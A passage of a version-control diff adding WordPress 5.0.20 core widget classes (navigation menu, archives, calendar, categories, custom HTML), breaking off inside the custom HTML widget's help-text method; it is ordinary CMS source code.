+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-nav-menu-widget.php	(revision 56912)
@@ -0,0 +1,159 @@
+<?php
+/**
+ * Widget API: WP_Nav_Menu_Widget class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement the Navigation Menu widget.
+ *
+ * @since 3.0.0
+ *
+ * @see WP_Widget
+ */
+class WP_Nav_Menu_Widget extends WP_Widget {
+
+	/**
+	 * Sets up a new Navigation Menu widget instance.
+	 *
+	 * @since 3.0.0
+	 */
+	public function __construct() {
+		$widget_ops = array(
+			'description' => __( 'Add a navigation menu to your sidebar.' ),
+			'customize_selective_refresh' => true,
+		);
+		parent::__construct( 'nav_menu', __('Navigation Menu'), $widget_ops );
+	}
+
+	/**
+	 * Outputs the content for the current Navigation Menu widget instance.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $args     Display arguments including 'before_title', 'after_title',
+	 *                        'before_widget', and 'after_widget'.
+	 * @param array $instance Settings for the current Navigation Menu widget instance.
+	 */
+	public function widget( $args, $instance ) {
+		// Get menu
+		$nav_menu = ! empty( $instance['nav_menu'] ) ? wp_get_nav_menu_object( $instance['nav_menu'] ) : false;
+
+		if ( ! $nav_menu ) {
+			return;
+		}
+
+		$title = ! empty( $instance['title'] ) ? $instance['title'] : '';
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		echo $args['before_widget'];
+
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+
+		$nav_menu_args = array(
+			'fallback_cb' => '',
+			'menu'        => $nav_menu
+		);
+
+		/**
+		 * Filters the arguments for the Navigation Menu widget.
+		 *
+		 * @since 4.2.0
+		 * @since 4.4.0 Added the `$instance` parameter.
+		 *
+		 * @param array    $nav_menu_args {
+		 *     An array of arguments passed to wp_nav_menu() to retrieve a navigation menu.
+		 *
+		 *     @type callable|bool $fallback_cb Callback to fire if the menu doesn't exist. Default empty.
+		 *     @type mixed         $menu        Menu ID, slug, or name.
+		 * }
+		 * @param WP_Term  $nav_menu      Nav menu object for the current menu.
+		 * @param array    $args          Display arguments for the current widget.
+		 * @param array    $instance      Array of settings for the current widget.
+		 */
+		wp_nav_menu( apply_filters( 'widget_nav_menu_args', $nav_menu_args, $nav_menu, $args, $instance ) );
+
+		echo $args['after_widget'];
+	}
+
+	/**
+	 * Handles updating settings for the current Navigation Menu widget instance.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            WP_Widget::form().
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Updated settings to save.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		$instance = array();
+		if ( ! empty( $new_instance['title'] ) ) {
+			$instance['title'] = sanitize_text_field( $new_instance['title'] );
+		}
+		if ( ! empty( $new_instance['nav_menu'] ) ) {
+			$instance['nav_menu'] = (int) $new_instance['nav_menu'];
+		}
+		return $instance;
+	}
+
+	/**
+	 * Outputs the settings form for the Navigation Menu widget.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $instance Current settings.
+	 * @global WP_Customize_Manager $wp_customize
+	 */
+	public function form( $instance ) {
+		global $wp_customize;
+		$title = isset( $instance['title'] ) ? $instance['title'] : '';
+		$nav_menu = isset( $instance['nav_menu'] ) ? $instance['nav_menu'] : '';
+
+		// Get menus
+		$menus = wp_get_nav_menus();
+
+		// If no menus exists, direct the user to go and create some.
+		?>
+		<p class="nav-menu-widget-no-menus-message" <?php if ( ! empty( $menus ) ) { echo ' style="display:none" '; } ?>>
+			<?php
+			if ( $wp_customize instanceof WP_Customize_Manager ) {
+				$url = 'javascript: wp.customize.panel( "nav_menus" ).focus();';
+			} else {
+				$url = admin_url( 'nav-menus.php' );
+			}
+			?>
+			<?php echo sprintf( __( 'No menus have been created yet. <a href="%s">Create some</a>.' ), esc_attr( $url ) ); ?>
+		</p>
+		<div class="nav-menu-widget-form-controls" <?php if ( empty( $menus ) ) { echo ' style="display:none" '; } ?>>
+			<p>
+				<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ) ?></label>
+				<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo esc_attr( $title ); ?>"/>
+			</p>
+			<p>
+				<label for="<?php echo $this->get_field_id( 'nav_menu' ); ?>"><?php _e( 'Select Menu:' ); ?></label>
+				<select id="<?php echo $this->get_field_id( 'nav_menu' ); ?>" name="<?php echo $this->get_field_name( 'nav_menu' ); ?>">
+					<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
+					<?php foreach ( $menus as $menu ) : ?>
+						<option value="<?php echo esc_attr( $menu->term_id ); ?>" <?php selected( $nav_menu, $menu->term_id ); ?>>
+							<?php echo esc_html( $menu->name ); ?>
+						</option>
+					<?php endforeach; ?>
+				</select>
+			</p>
+			<?php if ( $wp_customize instanceof WP_Customize_Manager ) : ?>
+				<p class="edit-selected-nav-menu" style="<?php if ( ! $nav_menu ) { echo 'display: none;'; } ?>">
+					<button type="button" class="button"><?php _e( 'Edit Menu' ) ?></button>
+				</p>
+			<?php endif; ?>
+		</div>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-archives.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-archives.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-archives.php	(revision 56912)
@@ -0,0 +1,168 @@
+<?php
+/**
+ * Widget API: WP_Widget_Archives class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement the Archives widget.
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Archives extends WP_Widget {
+
+	/**
+	 * Sets up a new Archives widget instance.
+	 *
+	 * @since 2.8.0
+	 */
+	public function __construct() {
+		$widget_ops = array(
+			'classname' => 'widget_archive',
+			'description' => __( 'A monthly archive of your site&#8217;s Posts.' ),
+			'customize_selective_refresh' => true,
+		);
+		parent::__construct('archives', __('Archives'), $widget_ops);
+	}
+
+	/**
+	 * Outputs the content for the current Archives widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $args     Display arguments including 'before_title', 'after_title',
+	 *                        'before_widget', and 'after_widget'.
+	 * @param array $instance Settings for the current Archives widget instance.
+	 */
+	public function widget( $args, $instance ) {
+		$title = ! empty( $instance['title'] ) ? $instance['title'] : __( 'Archives' );
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		$c = ! empty( $instance['count'] ) ? '1' : '0';
+		$d = ! empty( $instance['dropdown'] ) ? '1' : '0';
+
+		echo $args['before_widget'];
+
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+
+		if ( $d ) {
+			$dropdown_id = "{$this->id_base}-dropdown-{$this->number}";
+			?>
+		<label class="screen-reader-text" for="<?php echo esc_attr( $dropdown_id ); ?>"><?php echo $title; ?></label>
+		<select id="<?php echo esc_attr( $dropdown_id ); ?>" name="archive-dropdown" onchange='document.location.href=this.options[this.selectedIndex].value;'>
+			<?php
+			/**
+			 * Filters the arguments for the Archives widget drop-down.
+			 *
+			 * @since 2.8.0
+			 * @since 4.9.0 Added the `$instance` parameter.
+			 *
+			 * @see wp_get_archives()
+			 *
+			 * @param array $args     An array of Archives widget drop-down arguments.
+			 * @param array $instance Settings for the current Archives widget instance.
+			 */
+			$dropdown_args = apply_filters( 'widget_archives_dropdown_args', array(
+				'type'            => 'monthly',
+				'format'          => 'option',
+				'show_post_count' => $c
+			), $instance );
+
+			switch ( $dropdown_args['type'] ) {
+				case 'yearly':
+					$label = __( 'Select Year' );
+					break;
+				case 'monthly':
+					$label = __( 'Select Month' );
+					break;
+				case 'daily':
+					$label = __( 'Select Day' );
+					break;
+				case 'weekly':
+					$label = __( 'Select Week' );
+					break;
+				default:
+					$label = __( 'Select Post' );
+					break;
+			}
+			?>
+
+			<option value=""><?php echo esc_attr( $label ); ?></option>
+			<?php wp_get_archives( $dropdown_args ); ?>
+
+		</select>
+		<?php } else { ?>
+		<ul>
+		<?php
+		/**
+		 * Filters the arguments for the Archives widget.
+		 *
+		 * @since 2.8.0
+		 * @since 4.9.0 Added the `$instance` parameter.
+		 *
+		 * @see wp_get_archives()
+		 *
+		 * @param array $args     An array of Archives option arguments.
+		 * @param array $instance Array of settings for the current widget.
+		 */
+		wp_get_archives( apply_filters( 'widget_archives_args', array(
+			'type'            => 'monthly',
+			'show_post_count' => $c
+		), $instance ) );
+		?>
+		</ul>
+		<?php
+		}
+
+		echo $args['after_widget'];
+	}
+
+	/**
+	 * Handles updating settings for the current Archives widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            WP_Widget_Archives::form().
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Updated settings to save.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$new_instance = wp_parse_args( (array) $new_instance, array( 'title' => '', 'count' => 0, 'dropdown' => '') );
+		$instance['title'] = sanitize_text_field( $new_instance['title'] );
+		$instance['count'] = $new_instance['count'] ? 1 : 0;
+		$instance['dropdown'] = $new_instance['dropdown'] ? 1 : 0;
+
+		return $instance;
+	}
+
+	/**
+	 * Outputs the settings form for the Archives widget.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $instance Current settings.
+	 */
+	public function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '', 'count' => 0, 'dropdown' => '') );
+		$title = sanitize_text_field( $instance['title'] );
+		?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></p>
+		<p>
+			<input class="checkbox" type="checkbox"<?php checked( $instance['dropdown'] ); ?> id="<?php echo $this->get_field_id('dropdown'); ?>" name="<?php echo $this->get_field_name('dropdown'); ?>" /> <label for="<?php echo $this->get_field_id('dropdown'); ?>"><?php _e('Display as dropdown'); ?></label>
+			<br/>
+			<input class="checkbox" type="checkbox"<?php checked( $instance['count'] ); ?> id="<?php echo $this->get_field_id('count'); ?>" name="<?php echo $this->get_field_name('count'); ?>" /> <label for="<?php echo $this->get_field_id('count'); ?>"><?php _e('Show post counts'); ?></label>
+		</p>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-calendar.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-calendar.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-calendar.php	(revision 56912)
@@ -0,0 +1,105 @@
+<?php
+/**
+ * Widget API: WP_Widget_Calendar class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement the Calendar widget.
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Calendar extends WP_Widget {
+	/**
+	 * Ensure that the ID attribute only appears in the markup once
+	 *
+	 * @since 4.4.0
+	 *
+	 * @static
+	 * @var int
+	 */
+	private static $instance = 0;
+
+	/**
+	 * Sets up a new Calendar widget instance.
+	 *
+	 * @since 2.8.0
+	 */
+	public function __construct() {
+		$widget_ops = array(
+			'classname' => 'widget_calendar',
+			'description' => __( 'A calendar of your site&#8217;s Posts.' ),
+			'customize_selective_refresh' => true,
+		);
+		parent::__construct( 'calendar', __( 'Calendar' ), $widget_ops );
+	}
+
+	/**
+	 * Outputs the content for the current Calendar widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $args     Display arguments including 'before_title', 'after_title',
+	 *                        'before_widget', and 'after_widget'.
+	 * @param array $instance The settings for the particular instance of the widget.
+	 */
+	public function widget( $args, $instance ) {
+		$title = ! empty( $instance['title'] ) ? $instance['title'] : '';
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		echo $args['before_widget'];
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+		if ( 0 === self::$instance ) {
+			echo '<div id="calendar_wrap" class="calendar_wrap">';
+		} else {
+			echo '<div class="calendar_wrap">';
+		}
+		get_calendar();
+		echo '</div>';
+		echo $args['after_widget'];
+
+		self::$instance++;
+	}
+
+	/**
+	 * Handles updating settings for the current Calendar widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            WP_Widget::form().
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Updated settings to save.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = sanitize_text_field( $new_instance['title'] );
+
+		return $instance;
+	}
+
+	/**
+	 * Outputs the settings form for the Calendar widget.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $instance Current settings.
+	 */
+	public function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
+		$title = sanitize_text_field( $instance['title'] );
+		?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label>
+		<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></p>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-categories.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-categories.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-categories.php	(revision 56912)
@@ -0,0 +1,182 @@
+<?php
+/**
+ * Widget API: WP_Widget_Categories class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement a Categories widget.
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Categories extends WP_Widget {
+
+	/**
+	 * Sets up a new Categories widget instance.
+	 *
+	 * @since 2.8.0
+	 */
+	public function __construct() {
+		$widget_ops = array(
+			'classname' => 'widget_categories',
+			'description' => __( 'A list or dropdown of categories.' ),
+			'customize_selective_refresh' => true,
+		);
+		parent::__construct( 'categories', __( 'Categories' ), $widget_ops );
+	}
+
+	/**
+	 * Outputs the content for the current Categories widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @staticvar bool $first_dropdown
+	 *
+	 * @param array $args     Display arguments including 'before_title', 'after_title',
+	 *                        'before_widget', and 'after_widget'.
+	 * @param array $instance Settings for the current Categories widget instance.
+	 */
+	public function widget( $args, $instance ) {
+		static $first_dropdown = true;
+
+		$title = ! empty( $instance['title'] ) ? $instance['title'] : __( 'Categories' );
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		$c = ! empty( $instance['count'] ) ? '1' : '0';
+		$h = ! empty( $instance['hierarchical'] ) ? '1' : '0';
+		$d = ! empty( $instance['dropdown'] ) ? '1' : '0';
+
+		echo $args['before_widget'];
+
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+
+		$cat_args = array(
+			'orderby'      => 'name',
+			'show_count'   => $c,
+			'hierarchical' => $h,
+		);
+
+		if ( $d ) {
+			echo sprintf( '<form action="%s" method="get">', esc_url( home_url() ) );
+			$dropdown_id = ( $first_dropdown ) ? 'cat' : "{$this->id_base}-dropdown-{$this->number}";
+			$first_dropdown = false;
+
+			echo '<label class="screen-reader-text" for="' . esc_attr( $dropdown_id ) . '">' . $title . '</label>';
+
+			$cat_args['show_option_none'] = __( 'Select Category' );
+			$cat_args['id'] = $dropdown_id;
+
+			/**
+			 * Filters the arguments for the Categories widget drop-down.
+			 *
+			 * @since 2.8.0
+			 * @since 4.9.0 Added the `$instance` parameter.
+			 *
+			 * @see wp_dropdown_categories()
+			 *
+			 * @param array $cat_args An array of Categories widget drop-down arguments.
+			 * @param array $instance Array of settings for the current widget.
+			 */
+			wp_dropdown_categories( apply_filters( 'widget_categories_dropdown_args', $cat_args, $instance ) );
+
+			echo '</form>';
+			?>
+
+<script type='text/javascript'>
+/* <![CDATA[ */
+(function() {
+	var dropdown = document.getElementById( "<?php echo esc_js( $dropdown_id ); ?>" );
+	function onCatChange() {
+		if ( dropdown.options[ dropdown.selectedIndex ].value > 0 ) {
+			dropdown.parentNode.submit();
+		}
+	}
+	dropdown.onchange = onCatChange;
+})();
+/* ]]> */
+</script>
+
+<?php
+		} else {
+?>
+		<ul>
+<?php
+		$cat_args['title_li'] = '';
+
+		/**
+		 * Filters the arguments for the Categories widget.
+		 *
+		 * @since 2.8.0
+		 * @since 4.9.0 Added the `$instance` parameter.
+		 *
+		 * @param array $cat_args An array of Categories widget options.
+		 * @param array $instance Array of settings for the current widget.
+		 */
+		wp_list_categories( apply_filters( 'widget_categories_args', $cat_args, $instance ) );
+?>
+		</ul>
+<?php
+		}
+
+		echo $args['after_widget'];
+	}
+
+	/**
+	 * Handles updating settings for the current Categories widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            WP_Widget::form().
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Updated settings to save.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = sanitize_text_field( $new_instance['title'] );
+		$instance['count'] = !empty($new_instance['count']) ? 1 : 0;
+		$instance['hierarchical'] = !empty($new_instance['hierarchical']) ? 1 : 0;
+		$instance['dropdown'] = !empty($new_instance['dropdown']) ? 1 : 0;
+
+		return $instance;
+	}
+
+	/**
+	 * Outputs the settings form for the Categories widget.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $instance Current settings.
+	 */
+	public function form( $instance ) {
+		//Defaults
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '') );
+		$title = sanitize_text_field( $instance['title'] );
+		$count = isset($instance['count']) ? (bool) $instance['count'] :false;
+		$hierarchical = isset( $instance['hierarchical'] ) ? (bool) $instance['hierarchical'] : false;
+		$dropdown = isset( $instance['dropdown'] ) ? (bool) $instance['dropdown'] : false;
+		?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e( 'Title:' ); ?></label>
+		<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" /></p>
+
+		<p><input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id('dropdown'); ?>" name="<?php echo $this->get_field_name('dropdown'); ?>"<?php checked( $dropdown ); ?> />
+		<label for="<?php echo $this->get_field_id('dropdown'); ?>"><?php _e( 'Display as dropdown' ); ?></label><br />
+
+		<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id('count'); ?>" name="<?php echo $this->get_field_name('count'); ?>"<?php checked( $count ); ?> />
+		<label for="<?php echo $this->get_field_id('count'); ?>"><?php _e( 'Show post counts' ); ?></label><br />
+
+		<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id('hierarchical'); ?>" name="<?php echo $this->get_field_name('hierarchical'); ?>"<?php checked( $hierarchical ); ?> />
+		<label for="<?php echo $this->get_field_id('hierarchical'); ?>"><?php _e( 'Show hierarchy' ); ?></label></p>
+		<?php
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-custom-html.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-custom-html.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-custom-html.php	(revision 56912)
@@ -0,0 +1,323 @@
+<?php
+/**
+ * Widget API: WP_Widget_Custom_HTML class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.8.1
+ */
+
+/**
+ * Core class used to implement a Custom HTML widget.
+ *
+ * @since 4.8.1
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Custom_HTML extends WP_Widget {
+
+	/**
+	 * Whether or not the widget has been registered yet.
+	 *
+	 * @since 4.9.0
+	 * @var bool
+	 */
+	protected $registered = false;
+
+	/**
+	 * Default instance.
+	 *
+	 * @since 4.8.1
+	 * @var array
+	 */
+	protected $default_instance = array(
+		'title' => '',
+		'content' => '',
+	);
+
+	/**
+	 * Sets up a new Custom HTML widget instance.
+	 *
+	 * @since 4.8.1
+	 */
+	public function __construct() {
+		$widget_ops = array(
+			'classname' => 'widget_custom_html',
+			'description' => __( 'Arbitrary HTML code.' ),
+			'customize_selective_refresh' => true,
+		);
+		$control_ops = array(
+			'width' => 400,
+			'height' => 350,
+		);
+		parent::__construct( 'custom_html', __( 'Custom HTML' ), $widget_ops, $control_ops );
+	}
+
+	/**
+	 * Add hooks for enqueueing assets when registering all widget instances of this widget class.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param integer $number Optional. The unique order number of this widget instance
+	 *                        compared to other instances of the same class. Default -1.
+	 */
+	public function _register_one( $number = -1 ) {
+		parent::_register_one( $number );
+		if ( $this->registered ) {
+			return;
+		}
+		$this->registered = true;
+
+		wp_add_inline_script( 'custom-html-widgets', sprintf( 'wp.customHtmlWidgets.idBases.push( %s );', wp_json_encode( $this->id_base ) ) );
+
+		// Note that the widgets component in the customizer will also do the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts().
+		add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) );
+
+		// Note that the widgets component in the customizer will also do the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts().
+		add_action( 'admin_footer-widgets.php', array( 'WP_Widget_Custom_HTML', 'render_control_template_scripts' ) );
+
+		// Note this action is used to ensure the help text is added to the end.
+		add_action( 'admin_head-widgets.php', array( 'WP_Widget_Custom_HTML', 'add_help_text' ) );
+	}
+
+	/**
+	 * Filter gallery shortcode attributes.
+	 *
+	 * Prevents all of a site's attachments from being shown in a gallery displayed on a
+	 * non-singular template where a $post context is not available.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array $attrs Attributes.
+	 * @return array Attributes.
+	 */
+	public function _filter_gallery_shortcode_attrs( $attrs ) {
+		if ( ! is_singular() && empty( $attrs['id'] ) && empty( $attrs['include'] ) ) {
+			$attrs['id'] = -1;
+		}
+		return $attrs;
+	}
+
+	/**
+	 * Outputs the content for the current Custom HTML widget instance.
+	 *
+	 * @since 4.8.1
+	 *
+	 * @global WP_Post $post
+	 * @param array $args     Display arguments including 'before_title', 'after_title',
+	 *                        'before_widget', and 'after_widget'.
+	 * @param array $instance Settings for the current Custom HTML widget instance.
+	 */
+	public function widget( $args, $instance ) {
+		global $post;
+
+		// Override global $post so filters (and shortcodes) apply in a consistent context.
+		$original_post = $post;
+		if ( is_singular() ) {
+			// Make sure post is always the queried object on singular queries (not from another sub-query that failed to clean up the global $post).
+			$post = get_queried_object();
+		} else {
+			// Nullify the $post global during widget rendering to prevent shortcodes from running with the unexpected context on archive queries.
+			$post = null;
+		}
+
+		// Prevent dumping out all attachments from the media library.
+		add_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) );
+
+		$instance = array_merge( $this->default_instance, $instance );
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
+		$title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base );
+
+		// Prepare instance data that looks like a normal Text widget.
+		$simulated_text_widget_instance = array_merge( $instance, array(
+			'text' => isset( $instance['content'] ) ? $instance['content'] : '',
+			'filter' => false, // Because wpautop is not applied.
+			'visual' => false, // Because it wasn't created in TinyMCE.
+		) );
+		unset( $simulated_text_widget_instance['content'] ); // Was moved to 'text' prop.
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-text.php */
+		$content = apply_filters( 'widget_text', $instance['content'], $simulated_text_widget_instance, $this );
+
+		/**
+		 * Filters the content of the Custom HTML widget.
+		 *
+		 * @since 4.8.1
+		 *
+		 * @param string                $content  The widget content.
+		 * @param array                 $instance Array of settings for the current widget.
+		 * @param WP_Widget_Custom_HTML $this     Current Custom HTML widget instance.
+		 */
+		$content = apply_filters( 'widget_custom_html_content', $content, $instance, $this );
+
+		// Restore post global.
+		$post = $original_post;
+		remove_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) );
+
+		// Inject the Text widget's container class name alongside this widget's class name for theme styling compatibility.
+		$args['before_widget'] = preg_replace( '/(?<=\sclass=["\'])/', 'widget_text ', $args['before_widget'] );
+
+		echo $args['before_widget'];
+		if ( ! empty( $title ) ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+		echo '<div class="textwidget custom-html-widget">'; // The textwidget class is for theme styling compatibility.
+		echo $content;
+		echo '</div>';
+		echo $args['after_widget'];
+	}
+
+	/**
+	 * Handles updating settings for the current Custom HTML widget instance.
+	 *
+	 * @since 4.8.1
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            WP_Widget::form().
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Settings to save or bool false to cancel saving.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		$instance = array_merge( $this->default_instance, $old_instance );
+		$instance['title'] = sanitize_text_field( $new_instance['title'] );
+		if ( current_user_can( 'unfiltered_html' ) ) {
+			$instance['content'] = $new_instance['content'];
+		} else {
+			$instance['content'] = wp_kses_post( $new_instance['content'] );
+		}
+		return $instance;
+	}
+
+	/**
+	 * Loads the required scripts and styles for the widget control.
+	 *
+	 * @since 4.9.0
+	 */
+	public function enqueue_admin_scripts() {
+		$settings = wp_enqueue_code_editor( array(
+			'type' => 'text/html',
+			'codemirror' => array(
+				'indentUnit' => 2,
+				'tabSize' => 2,
+			),
+		) );
+
+		wp_enqueue_script( 'custom-html-widgets' );
+		if ( empty( $settings ) ) {
+			$settings = array(
+				'disabled' => true,
+			);
+		}
+		wp_add_inline_script( 'custom-html-widgets', sprintf( 'wp.customHtmlWidgets.init( %s );', wp_json_encode( $settings ) ), 'after' );
+
+		$l10n = array(
+			'errorNotice' => array(
+				/* translators: %d: error count */
+				'singular' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 1 ),
+				/* translators: %d: error count */
+				'plural' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 2 ), // @todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491.
+			),
+		);
+		wp_add_inline_script( 'custom-html-widgets', sprintf( 'jQuery.extend( wp.customHtmlWidgets.l10n, %s );', wp_json_encode( $l10n ) ), 'after' );
+	}
+
+	/**
+	 * Outputs the Custom HTML widget settings form.
+	 *
+	 * @since 4.8.1
+	 * @since 4.9.0 The form contains only hidden sync inputs. For the control UI, see `WP_Widget_Custom_HTML::render_control_template_scripts()`.
+	 *
+	 * @see WP_Widget_Custom_HTML::render_control_template_scripts()
+	 * @param array $instance Current instance.
+	 * @returns void
+	 */
+	public function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, $this->default_instance );
+		?>
+		<input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" class="title sync-input" type="hidden" value="<?php echo esc_attr( $instance['title'] ); ?>"/>
+		<textarea id="<?php echo $this->get_field_id( 'content' ); ?>" name="<?php echo $this->get_field_name( 'content' ); ?>" class="content sync-input" hidden><?php echo esc_textarea( $instance['content'] ); ?></textarea>
+		<?php
+	}
+
+	/**
+	 * Render form template scripts.
+	 *
+	 * @since 4.9.0
+	 */
+	public static function render_control_template_scripts() {
+		?>
+		<script type="text/html" id="tmpl-widget-custom-html-control-fields">
+			<# var elementIdPrefix = 'el' + String( Math.random() ).replace( /\D/g, '' ) + '_' #>
+			<p>
+				<label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label>
+				<input id="{{ elementIdPrefix }}title" type="text" class="widefat title">
+			</p>
+
+			<p>
+				<label for="{{ elementIdPrefix }}content" id="{{ elementIdPrefix }}content-label"><?php esc_html_e( 'Content:' ); ?></label>
+				<textarea id="{{ elementIdPrefix }}content" class="widefat code content" rows="16" cols="20"></textarea>
+			</p>
+
+			<?php if ( ! current_user_can( 'unfiltered_html' ) ) : ?>
+				<?php
+				$probably_unsafe_html = array( 'script', 'iframe', 'form', 'input', 'style' );
+				$allowed_html = wp_kses_allowed_html( 'post' );
+				$disallowed_html = array_diff( $probably_unsafe_html, array_keys( $allowed_html ) );
+				?>
+				<?php if ( ! empty( $disallowed_html ) ) : ?>
+					<# if ( data.codeEditorDisabled ) { #>
+						<p>
+							<?php _e( 'Some HTML tags are not permitted, including:' ); ?>
+							<code><?php echo join( '</code>, <code>', $disallowed_html ); ?></code>
+						</p>
+					<# } #>
+				<?php endif; ?>
+			<?php endif; ?>
+
+			<div class="code-editor-error-container"></div>
+		</script>
+		<?php
+	}
+
+	/**
+	 * Add help text to widgets admin screen.
+	 *
+	 * @since 4.9.0
+	 */
+	public static function add_help_text() {
+		$screen = get_current_screen();
+
+		$content = '<p>';
+		$content .= __( 'Use the Custom HTML widget to add arbitrary HTML code to your widget areas.' );
+		$content .= '</p>';
+
+		if ( 'false' !== wp_get_current_user()->syntax_highlighting ) {
+			$content .= '<p>';
+			$content .= sprintf(
